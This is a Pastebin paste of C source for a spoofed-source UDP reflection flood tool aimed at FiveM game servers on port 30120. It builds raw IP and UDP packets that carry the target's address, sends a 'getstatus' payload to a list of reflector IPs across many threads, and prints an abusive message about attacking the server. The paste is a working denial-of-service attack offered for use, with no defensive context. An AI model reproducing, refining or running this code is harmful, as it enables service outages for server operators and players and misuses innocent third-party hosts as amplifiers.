TNFModding

fivem

Dec 13th, 2021 (edited)
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.20 KB | None | 0 0
  1. #include <arpa/inet.h>
  2. #include <netinet/ip.h>
  3. #include <netinet/udp.h>
  4. #include <pthread.h>
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <string.h>
  8. #include <sys/socket.h>
  9. #include <time.h>
  10. #include <unistd.h>
  11.  
  12. #define MAX_PACKET_SIZE 4096
  13. #define PHI 0xaaf219b9
  14.  
  15. static unsigned int DPORT = 30120;
  16. static const char PAYLOAD[] = "\xff\xff\xff\xff\x67\x65\x74\x73\x74\x61\x74\x75\x73\x0d\x0a\x0d\x0a"
  17. "\x37\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x46\x4c\x4c\x0d\x0a\x0a\x0d"; // Websocket Overflow
  18.  
  19. static uint32_t Q[4096], c = 362436;
  20. static unsigned int PAYLOADSIZE = sizeof(PAYLOAD);
  21.  
  22. struct list {
  23. struct sockaddr_in data;
  24. struct list *next;
  25. struct list *prev;
  26. };
  27.  
  28. struct list *head;
  29. volatile int tehport;
  30. volatile int limiter;
  31. volatile unsigned int pps;
  32. volatile unsigned int sleeptime = 100;
  33.  
  34. struct thread_data {
  35. int thread_id;
  36. struct list *list_node;
  37. struct sockaddr_in sin;
  38. };
  39.  
  40. uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
  41. {
  42. const uint16_t *buf = buff;
  43. uint32_t ip_src = iph->saddr;
  44. uint32_t ip_dst = iph->daddr;
  45. uint32_t sum = 0;
  46. //int length = len;
  47.  
  48. while (len > 1)
  49. {
  50. sum += *buf;
  51. buf++;
  52. len -= 2;
  53. }
  54.  
  55. if (len == 1)
  56. sum += *((uint8_t *) buf);
  57.  
  58. sum += (ip_src >> 16) & 0xFFFF;
  59. sum += ip_src & 0xFFFF;
  60. sum += (ip_dst >> 16) & 0xFFFF;
  61. sum += ip_dst & 0xFFFF;
  62. sum += htons(iph->protocol);
  63. sum += data_len;
  64.  
  65. while (sum >> 16)
  66. sum = (sum & 0xFFFF) + (sum >> 16);
  67.  
  68. return ((uint16_t) (~sum));
  69. }
  70.  
  71. void init_rand(uint32_t x)
  72. {
  73. int i;
  74. Q[0] = x;
  75. Q[1] = x + PHI;
  76. Q[2] = x + PHI + PHI;
  77. for (i = 3; i < 4096; i++)
  78. Q[i] = Q[i] ^ Q[i] ^ PHI ^ i;
  79. }
  80.  
  81. uint32_t rand_cmwc(void)
  82. {
  83. uint64_t t, a = 18782LL;
  84. static uint32_t i = 4095;
  85. uint32_t x, r = 0xfffffffe;
  86.  
  87. i = (i + 1) & 4095;
  88. t = a * Q[i] + c;
  89. c = (t >> 32);
  90. x = t + c;
  91.  
  92. if (x < c)
  93. {
  94. x++;
  95. c++;
  96. }
  97. return (Q[i] = r - x);
  98. }
  99.  
  100. void setup_ip_header(struct iphdr *iph)
  101. {
  102. iph->ihl = 5;
  103. iph->version = 4;
  104. iph->tos = 0;
  105. iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;
  106. iph->id = htonl(61337);
  107. iph->frag_off = 0;
  108. iph->ttl = MAXTTL;
  109. iph->protocol = IPPROTO_UDP;
  110. iph->check = 0;
  111. iph->saddr = inet_addr("127.0.0.1");
  112. }
  113.  
  114. void setup_udp_header(struct udphdr *udph)
  115. {
  116. udph->source = htons(61337);
  117. udph->dest = htons(DPORT);
  118. udph->check = 0;
  119. memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);
  120. udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);
  121. }
  122.  
  123. void *flood(void *par1)
  124. {
  125. struct thread_data *td = (struct thread_data *)par1;
  126. char datagram[MAX_PACKET_SIZE];
  127. struct iphdr *iph = (struct iphdr *)datagram;
  128. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  129. struct sockaddr_in sin = td->sin;
  130. struct list *list_node = td->list_node;
  131. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  132.  
  133. if (s < 0)
  134. {
  135. fprintf(stderr, "Could not open raw socket.\n");
  136. exit(-1);
  137. }
  138.  
  139. init_rand(time(NULL));
  140. memset(datagram, 0, MAX_PACKET_SIZE);
  141. setup_ip_header(iph);
  142. setup_udp_header(udph);
  143. udph->source = htons(tehport);
  144. iph->saddr = sin.sin_addr.s_addr;
  145. iph->daddr = list_node->data.sin_addr.s_addr;
  146. int tmp = 1;
  147. const int *val = &tmp;
  148.  
  149. if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0)
  150. {
  151. fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  152. exit(-1);
  153. }
  154.  
  155. init_rand(time(NULL));
  156. register unsigned int i;
  157. i = 0;
  158.  
  159. while (1)
  160. {
  161. if(tehport == 0)
  162. udph->source = htons(rand_cmwc() % 0xFFFF);
  163.  
  164. list_node = list_node->next;
  165. iph->daddr = list_node->data.sin_addr.s_addr;
  166. iph->id = htonl(rand_cmwc() & 0xFFFF);
  167. iph->ttl = rand() % (255 + 1 - 0) + 0;
  168.  
  169. udph->check = 0;
  170. udph->check = checksum_tcpudp(iph, udph, htons(sizeof(struct udphdr) + PAYLOADSIZE), sizeof(struct udphdr) + PAYLOADSIZE);
  171.  
  172. sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,
  173. sizeof(list_node->data));
  174. pps++;
  175.  
  176. if (i >= limiter)
  177. {
  178. i = 0;
  179. usleep(sleeptime);
  180. }
  181. i++;
  182. }
  183. }
  184.  
  185. int main(int argc, char *argv[])
  186. {
  187. if (argc < 6)
  188. {
  189. fprintf(stdout, "%s <host> <port> <listfile> <threads> <limit[-1 for none]> <time>\n", argv[0]);
  190. exit(-1);
  191. }
  192.  
  193. srand(time(NULL));
  194. int i = 0;
  195. head = NULL;
  196. fprintf(stdout, "Loading list to buffer\n");
  197. int max_len = 512;
  198. char *buffer = (char *)malloc(max_len);
  199. buffer = memset(buffer, 0x00, max_len);
  200. tehport = atoi(argv[2]);
  201. int num_threads = atoi(argv[4]);
  202. int maxpps = atoi(argv[5]);
  203. limiter = 0;
  204. pps = 0;
  205. int multiplier = 100;
  206. FILE *list_fd = fopen(argv[3], "r");
  207.  
  208. while (fgets(buffer, max_len, list_fd) != NULL)
  209. {
  210. if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r'))
  211. {
  212. buffer[strlen(buffer) - 1] = 0x00;
  213. if (head == NULL)
  214. {
  215. head = (struct list *)malloc(sizeof(struct list));
  216. bzero(&head->data, sizeof(head->data));
  217. head->data.sin_addr.s_addr = inet_addr(buffer);
  218. head->next = head;
  219. head->prev = head;
  220. }
  221. else
  222. {
  223. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  224. memset(new_node, 0x00, sizeof(struct list));
  225. new_node->data.sin_addr.s_addr = inet_addr(buffer);
  226. new_node->prev = head;
  227. new_node->next = head->next;
  228. head->next = new_node;
  229. }
  230. i++;
  231. }
  232. else
  233. continue;
  234. }
  235.  
  236. struct list *current = head->next;
  237. pthread_t thread[num_threads];
  238. struct sockaddr_in sin;
  239. sin.sin_family = AF_INET;
  240. sin.sin_addr.s_addr = inet_addr(argv[1]);
  241. struct thread_data td[num_threads];
  242.  
  243. for (i = 0; i < num_threads; i++)
  244. {
  245. td[i].thread_id = i;
  246. td[i].sin = sin;
  247. td[i].list_node = current;
  248. pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);
  249. }
  250.  
  251. fprintf(stdout, "Fucking That Shitty FiveM Server");
  252. for (i = 0; i < (atoi(argv[6]) * multiplier); i++)
  253. {
  254. usleep((1000 / multiplier) * 1000);
  255. if ((pps * multiplier) > maxpps)
  256. {
  257. if (1 > limiter)
  258. sleeptime += 100;
  259.  
  260. else
  261. limiter--;
  262. }
  263. else
  264. {
  265. limiter++;
  266. if (sleeptime > 25)
  267. sleeptime -= 25;
  268.  
  269. else
  270. sleeptime = 0;
  271. }
  272. pps = 0;
  273. }
  274. return 0;
  275. }
Add Comment
Please, Sign In to add comment